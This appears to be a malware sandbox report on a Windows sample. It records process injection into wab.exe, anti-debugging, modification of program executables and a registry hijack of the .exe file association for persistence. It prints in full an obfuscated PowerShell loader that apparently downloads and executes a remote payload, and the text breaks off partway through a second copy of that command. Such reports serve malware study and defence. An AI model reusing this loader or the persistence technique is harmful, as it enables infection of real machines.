Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Command and Scripting Interpreter: PowerShell

execution

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Modifies system executable filetype association

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 316 set thread context of 336	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\PPTICO.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\WORDICON.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\Eula.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBEU~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\Oarpmany.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\INFOPATH.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSQRY32.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~1\wabmig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GROOVEMN.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\XLICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\ACROBR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\SOURCE~1\OSE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOSYNC.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\OIS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\WINWORD.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI4223~1\sidebar.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\ADOBEC~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\SETUPF~1\{AC76B~1\Setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\IECONT~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\ADOBEA~1\Versions\1.0\ADOBEA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOUC.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\TextConv\WksConv\Wkconv.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\LICLUA.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\Setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\VSTO\10.0\VSTOIN~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ACCICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\BCSSync.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~2\ACCESS~1\wordpad.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\VPREVIEW.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~1\WinMail.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Resource\Icons\SC_REA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\FLTLDR.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmprph.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\ODeploy.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\1033\ONELEV.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\misc.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpshare.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\ink\mip.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\CNFNOT32.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\svchost.com	C:\Program Files (x86)\windows mail\wab.exe	N/A

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 348 wrote to memory of 2268	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 2268	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 348 wrote to memory of 2268	N/A	C:\Windows\system32\cmd.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2268 wrote to memory of 2700	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2268 wrote to memory of 2700	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2268 wrote to memory of 2700	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2268 wrote to memory of 316	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2268 wrote to memory of 316	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2268 wrote to memory of 316	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2268 wrote to memory of 316	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 316 wrote to memory of 2560	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 316 wrote to memory of 2560	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 316 wrote to memory of 2560	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 316 wrote to memory of 2560	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 316 wrote to memory of 336	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 316 wrote to memory of 336	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 316 wrote to memory of 336	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 316 wrote to memory of 336	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 316 wrote to memory of 336	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 316 wrote to memory of 336	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c "C:\Users\Admin\AppData\Local\Temp\c73db3a4bf51b48059eef2a5003feafc43dc7e93bf8c70fb51a0423c212d85a7.cmd"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -windowstyle hidden "$sublicense = 1;$Solbatteri='Sub';$Solbatteri+='strin';$Solbatteri+='g';Function Udvindende($Twistende){$Lastelinie=$Twistende.Length-$sublicense;For($Firblok=5;$Firblok -lt $Lastelinie;$Firblok+=6){$lunelsen+=$Twistende.$Solbatteri.Invoke( $Firblok, $sublicense);}$lunelsen;}function Unschool($Squimmidge){. ($Jetmotoren) ($Squimmidge);}$Pedicures=Udvindende 'TestiMMiljloInterzShel iMil.elCol.clBifigaOvers/Stepp5Ne kw. A er0Ego r Konku(IndskWin vii.ernin kaksdTrilloByggewKoreisDu,st O,debN XenoTPrisl Matem1Unher0 Inla.Pr,fa0Samme;Ote.t BrnesW ,isciAureanSenso6Under4glyce; ihra NotatxSoci 6 F.ap4Terzi; Honn Gyro.rHoultv S,ns:spell1Oli.t2Indbl1s end.Capit0Kratt)C,oic genetGRysteePremac,mudskNonuboDevis/ S or2Misdd0.dgan1Misha0Stjyd0Velst1Haa d0 S,ip1.ndig NoradFOr iei nergrSe ereDy.tbfFluoroIndpaxSludr/Mod.r1spu.r2 Smut1Ugl,d.Ingra0Se ue ';$Privileged=Udvindende 'Ob,diUA.dsesMsk,ne ,arar Matr-Jord.AUterog reeseBe trnTe.tatDis i ';$Sprngningers=Udvindende 'juncah,ripyt Sfyrtsupr.pFa.lesF,rpo:Prunt/Argum/ D.scwElskowMumifw hers.DollasacidoeSemilnmisled lyndsImparpKendea unnic ugeaeThist.DokhacOmnipo ugtim.allw/Curetp O firStipuoGl zi/Guerid SkablBa st/JogurwIntralVitr oShirtrSamfuhSlvsmsSk,dk ';$Forlovede=Udvindende 'Rel,a>R,kla ';$Jetmotoren=Udvindende 'Cor,ii KliseCuchix Kyse ';$Tendrilous='Handleformerne';$Veta13 = Udvindende 'SkytseCentrcAllithUnguio Tu.i ,ndka%mbleraMonocp IntepForstd FiliaHikketTeg,vaya.ne% Ou.w\CytopFVetere,likvtSa.tltA.riglMelleeJakob.TugteHToilfaUn,ernPuebl Folk&Nonpa&L.dar Xx.ndeDeamic RegihIncanoRhila Betint.agua ';Unschool (Udvindende 'Flo,r$CyprigLevnelSluk oUns ib In.laCompulR,tsf:NedgrSovertaSjofllUdsteuSorbet Druke waver.uadresnil,r Samo=Hneky(YderzcNain m Compd arga Helt/HetercDekup ,ylli$AskebVDusineFlowetHal,taFar,e1 Akva3Tjrne) aktf ');Unschool (Udvindende ' Ustk$Teh ng Ddssl,ndeloSentibRetiraSaddll Thor:SacchFP.erelUdgandNavernSeedeiKphesn Ove,gGrnsesIndstt UndeiArched alkieDisk,n Ove,sRatin=Inter$.tultS Sentp UdvirBenzin vantgP rapnKis.liD,rignposefgSub eeTravbr Nonss Mand. GinnsRnerepAllesl SmediAktiotMinke( Rejs$antifFJ sovoNer,orW.resl StrooCheefvNaadseBirdidTree e Fi.s)Gulds ');$Sprngningers=$Fldningstidens[0];$Unaccidented180= (Udvindende 'Phyll$AffejgSandwlbolvro K inbL peaaHac,bl Jagt:LngstBSiolaa HarrsProtoiAllemc Tornh De.mrClassoMell mcutt iForr oKalibl SkrfeC.nce=Remi NXericeGreenw arry-N.npeOkajakbUvejsj Zoquebioc,cAlgovt Rotu .nchSconvey GeogsTermitRetteeBerrimRoege.H gisN.antaeInductGtehu.Gr ndWEr bre S,lvbHolocCMargal Aktai ko.oeLocasn usigt');$Unaccidented180+=$Saluterer[1];Unschool ($Unaccidented180);Unschool (Udvindende 'Disle$ski,dB.aphoaRejems De.fiBage c ProchUnshirVip.tod alymcurviiStalaoMichelZon,neWall,.Ko.seHFiskeeU.cita speldDezine N.herSentisTaste[ Pulv$SmagsPStjerr Th riUnderv FanaiTillalP.odue TurbgKonveeTilskdmorfo]Ubety=E hel$ PlanPHoarseEkspod Molli holdcOrdinuHiplir SysteP.pulsHydro ');$Fuglevildts=Udvindende 'smert$RgrelBStou,aCountsMylari,rasic.illehSi narMortmoHo.opm mateil brroConchlHus.oe lash.A.ophD SammoSti nw Analn RetilDag,ro TheraSuba.d Re.oFZittaiPae,nlUdrejeEr at(Garli$KorreSAkillpRedrer NetvnI,comgFormun PolyiPhenynBrutagJav neTapetr AlkasShera, Klip$MiljvR InsueUdtolgDeckhnForsks ,ampkRe.etaPoch.bEvi,asUlrdhlNow,noHaincvMangfe.egyns Slaa)Vikka ';$Regnskabsloves=$Saluterer[0];Unschool (Udvindende 'Frimu$KoncegBremslPolybolumbrbFru.ta UnfolFejlv:fore,MQ irky SvensVidertidle.iirefakGra,ieDenatrP osen Vesteopera=Smage(indsbT Shi eCh zds DaektDelet-SkattP S amaRestutProx.h P.ss Assib$S,rewREndage MayfgPresunBrodeshved.k .ricaKun,ebSolsysCap tlSnawooMurphvFloreeAnt.kstombs)schiz ');while (!$Mystikerne) {Unschool (Udvindende 'Unexp$Exi,sgLivstl Oc,ioTuarebada.taChapalKerne: UtaaU.ardcnInadepS,nica DrgrrMon,loMelanl Tumuenati dtwof,= Do.a$UferptSte,mr BanguD tabeTrafi ') ;Unschool $Fuglevildts;Unschool (Udvindende 'OrestSunwoutUnrumaDisg rErst tA.ter-OpvasSIndhulMadrieC.emeeFricapmu tr Produ4Snker ');Unschool (Udvindende ' Afkr$algaeg.ekstl Bl.koEtaerbSaigaaTermil ugge:.edebM otatyUdelis okl.tDepthiNdrinkV,reieAnantrCos,vnCap.we fst.= Nrin(CircuTentereUd elsAuspitDybva-ElocaP S,utaSolb,tTilsihSwash Orien$.mlgnR spaleFiskegDr.ftnMul ssUnslokPabula FaldbWro.hsNonrelo.avuoAvlshv uftweDyrtisVk.tr)Confi ') ;Unschool (Udvindende 'Timar$ UdefgMell lA ospoAb ombDepreaLunatlCro i:BrndeSDu.pieArmlem Uoplp FaciiBaglytAfmoneAsketrUne inGar laAlle l ryd=loopf$Mult gHejrelba sao nspebStrafaRhinol Tus,:Baja.F Basta PjatsProdutInterlJunkeaSnowde Bldgg xarcgToplae SurfsD tid+ okse+Monkl%Opr.l$TarifFTzitzlAsserdTu,nhnLussii Jammn FredgGravisPenget BankiIndbldLandfeWynefn ,ribsInkie. DvekcLedeloSpl.juStrean F,lttBrndv ') ;$Sprngningers=$Fldningstidens[$Sempiternal];}$Erstatningsfri=301739;$Capanne=29374;Unschool (Udvindende ',andr$Chrong isthlDipl oAmet.bPenneaAdaw.lRnner:KundeBDaikeikarollapprefVirker,orosaSuperg,nraatIdenteGriphrForsg Skjal=Misvi ChapeGGulddeMtg,otTr.wl-UdlaaC.arstoAll rnVandrtDialle m,ntnY gadtKedso Nonpl$SpndeRA,dreeFlighgReg.onRi dasMiniskMckniaVarmeb BrodsJernbl Nor,oAfsk vUnsadeAfdrysdrevb ');Unschool (Udvindende ' .ntt$RevolgBrusel ublaoEng obPyntsaSk delSprjt:LderiS udbyvBrddeeSv skd Aarse Nonmk.ryggu rsterleddeeUnikan Multe Skuf Over,= rist Steen[Kil eSMirexy.nforsRe.owtKi noe El.emfiefe.CorelCAfskroIndusnTrivivFo.edeSitu,rBurdstAlbes]Linie:Jumps:FaradFVealyrLommeoMythomR,forBStyreaEffuss Cagie Pr.g6Presc4 TymbS Ci,rtNontrrMetatiSpo,enPaadugTech (Tryka$CaracBHoeviiImporlSagfrf HentrKinseaGesitgShirrtLiotre U.varTempe)Seleu ');Unschool (Udvindende 'Autop$ZorrigHalvalUbeslo Py,sb.ruppaKon ol.nfor:ExtraT Un.ei Max lH.bbesOldweiDeunak D sprUdvidiUnfe,nBradegTalg. F,ers=Udsal Afre,[MarinShonilyUnfriscpositdissieWess mSag,b.DumpoT,ulleeEcto x LavrtCha h. Ud eEAnisonRebalcSterioBl erdHjem,iD.catnsu.figHa dl]Irrec:Viges:pantoAOvergSM rtiCUnfoiIA.tfuI,uthe.Bl baGkel eeRevertIdeasSTy.patTrafirPaph.iAzoxinOverbg Un o( Clem$ PipiSDebilvVokseeAnte.dElvereMi,roku deruPartir Mod.espirinBarbee Takk)Juckr ');Unschool (Udvindende 'Shurg$IntergAlarmlReorgoMongobC.oicaBoatal,elin:SourdOStrenwMaha.e,amelrVerdet,raada RolleS,pernCelle= Skru$Bro cTOve siProfilSubg.sSub eiCo,dekU yrlrEgetbi,ogienUnthegsinni.FjollsFortvuInar.bMaximsMos stF.rsgrAdvi i.tockn,ydisgTreef( Avia$IncorEKeelbr.enjis aksltIveliaKnlentRepolnSkrmbi DenonraptugpreexsDriftf .onkrSrgefiMat r,Afske$,hinnCHypnoaGrsgap,lumpaBlas.nLawnlnFisk e Ek p)Hy,ro ');Unschool $Owertaen;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fettle.Han && echo t"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$sublicense = 1;$Solbatteri='Sub';$Solbatteri+='strin';$Solbatteri+='g';Function Udvindende($Twistende){$Lastelinie=$Twistende.Length-$sublicense;For($Firblok=5;$Firblok -lt $Lastelinie;$Firblok+=6){$lunelsen+=$Twistende.$Solbatteri.Invoke( $Firblok, $sublicense);}$lunelsen;}function Unschool($Squimmidge){. ($Jetmotoren) ($Squimmidge);}$Pedicures=Udvindende 'TestiMMiljloInterzShel iMil.elCol.clBifigaOvers/Stepp5Ne kw. A er0Ego r Konku(IndskWin vii.ernin kaksdTrilloByggewKoreisDu,st O,debN XenoTPrisl Matem1Unher0 Inla.Pr,fa0Samme;Ote.t BrnesW ,isciAureanSenso6Under4glyce; ihra NotatxSoci 6 F.ap4Terzi; Honn Gyro.rHoultv S,ns:spell1Oli.t2Indbl1s end.Capit0Kratt)C,oic genetGRysteePremac,mudskNonuboDevis/ S or2Misdd0.dgan1Misha0Stjyd0Velst1Haa d0 S,ip1.ndig NoradFOr iei nergrSe ereDy.tbfFluoroIndpaxSludr/Mod.r1spu.r2 Smut1Ugl,d.Ingra0Se ue ';$Privileged=Udvindende 'Ob,diUA.dsesMsk,ne ,arar Matr-Jord.AUterog reeseBe trnTe.tatDis i ';$Sprngningers=Udvindende 'juncah,ripyt Sfyrtsupr.pFa.lesF,rpo:Prunt/Argum/ D.scwElskowMumifw hers.DollasacidoeSemilnmisled lyndsImparpKendea unnic ugeaeThist.DokhacOmnipo ugtim.allw/Curetp O firStipuoGl zi/Guerid SkablBa st/JogurwIntralVitr oShirtrSamfuhSlvsmsSk,dk ';$Forlovede=Udvindende 'Rel,a>R,kla ';$Jetmotoren=Udvindende 'Cor,ii KliseCuchix Kyse ';$Tendrilous='Handleformerne';$Veta13 = Udvindende 'SkytseCentrcAllithUnguio Tu.i ,ndka%mbleraMonocp IntepForstd FiliaHikketTeg,vaya.ne% Ou.w\CytopFVetere,likvtSa.tltA.riglMelleeJakob.TugteHToilfaUn,ernPuebl Folk&Nonpa&L.dar Xx.ndeDeamic RegihIncanoRhila Betint.agua ';Unschool (Udvindende 'Flo,r$CyprigLevnelSluk oUns ib In.laCompulR,tsf:NedgrSovertaSjofllUdsteuSorbet Druke waver.uadresnil,r Samo=Hneky(YderzcNain m Compd arga Helt/HetercDekup ,ylli$AskebVDusineFlowetHal,taFar,e1 Akva3Tjrne) aktf ');Unschool (Udvindende ' Ustk$Teh ng Ddssl,ndeloSentibRetiraSaddll Thor:SacchFP.erelUdgandNavernSeedeiKphesn Ove,gGrnsesIndstt UndeiArched alkieDisk,n Ove,sRatin=Inter$.tultS Sentp UdvirBenzin vantgP rapnKis.liD,rignposefgSub eeTravbr Nonss Mand. GinnsRnerepAllesl SmediAktiotMinke( Rejs$antifFJ sovoNer,orW.resl StrooCheefvNaadseBirdidTree e Fi.s)Gulds ');$Sprngningers=$Fldningstidens[0];$Unaccidented180= (Udvindende 'Phyll$AffejgSandwlbolvro K inbL peaaHac,bl Jagt:LngstBSiolaa HarrsProtoiAllemc Tornh De.mrClassoMell mcutt iForr oKalibl SkrfeC.nce=Remi NXericeGreenw arry-N.npeOkajakbUvejsj Zoquebioc,cAlgovt Rotu .nchSconvey GeogsTermitRetteeBerrimRoege.H gisN.antaeInductGtehu.Gr ndWEr bre S,lvbHolocCMargal Aktai ko.oeLocasn usigt');$Unaccidented180+=$Saluterer[1];Unschool ($Unaccidented180);Unschool (Udvindende 'Disle$ski,dB.aphoaRejems De.fiBage c ProchUnshirVip.tod alymcurviiStalaoMichelZon,neWall,.Ko.seHFiskeeU.cita speldDezine N.herSentisTaste[ Pulv$SmagsPStjerr Th riUnderv FanaiTillalP.odue TurbgKonveeTilskdmorfo]Ubety=E hel$ PlanPHoarseEkspod Molli holdcOrdinuHiplir SysteP.pulsHydro ');$Fuglevildts=Udvindende 'smert$RgrelBStou,aCountsMylari,rasic.illehSi narMortmoHo.opm mateil brroConchlHus.oe lash.A.ophD SammoSti nw Analn RetilDag,ro TheraSuba.d Re.oFZittaiPae,nlUdrejeEr at(Garli$KorreSAkillpRedrer NetvnI,comgFormun PolyiPhenynBrutagJav neTapetr AlkasShera, Klip$MiljvR InsueUdtolgDeckhnForsks ,ampkRe.etaPoch.bEvi,asUlrdhlNow,noHaincvMangfe.egyns Slaa)Vikka ';$Regnskabsloves=$Saluterer[0];Unschool (Udvindende 'Frimu$KoncegBremslPolybolumbrbFru.ta UnfolFejlv:fore,MQ irky SvensVidertidle.iirefakGra,ieDenatrP osen Vesteopera=Smage(indsbT Shi eCh zds DaektDelet-SkattP S amaRestutProx.h P.ss Assib$S,rewREndage MayfgPresunBrodeshved.k .ricaKun,ebSolsysCap tlSnawooMurphvFloreeAnt.kstombs)schiz ');while (!$Mystikerne) {Unschool (Udvindende 'Unexp$Exi,sgLivstl Oc,ioTuarebada.taChapalKerne: UtaaU.ardcnInadepS,nica DrgrrMon,loMelanl Tumuenati dtwof,= Do.a$UferptSte,mr BanguD tabeTrafi ') ;Unschool $Fuglevildts;Unschool (Udvindende 'OrestSunwoutUnrumaDisg rErst tA.ter-OpvasSIndhulMadrieC.emeeFricapmu tr Produ4Snker ');Unschool (Udvindende ' Afkr$algaeg.ekstl Bl.koEtaerbSaigaaTermil ugge:.edebM otatyUdelis okl.tDepthiNdrinkV,reieAnantrCos,vnCap.we fst.= Nrin(CircuTentereUd elsAuspitDybva-ElocaP S,utaSolb,tTilsihSwash Orien$.mlgnR spaleFiskegDr.ftnMul ssUnslokPabula FaldbWro.hsNonrelo.avuoAvlshv uftweDyrtisVk.tr)Confi ') ;Unschool (Udvindende 'Timar$ UdefgMell lA ospoAb ombDepreaLunatlCro i:BrndeSDu.pieArmlem Uoplp FaciiBaglytAfmoneAsketrUne inGar laAlle l ryd=loopf$Mult gHejrelba sao nspebStrafaRhinol Tus,:Baja.F Basta PjatsProdutInterlJunkeaSnowde Bldgg xarcgToplae SurfsD tid+ okse+Monkl%Opr.l$TarifFTzitzlAsserdTu,nhnLussii Jammn FredgGravisPenget BankiIndbldLandfeWynefn 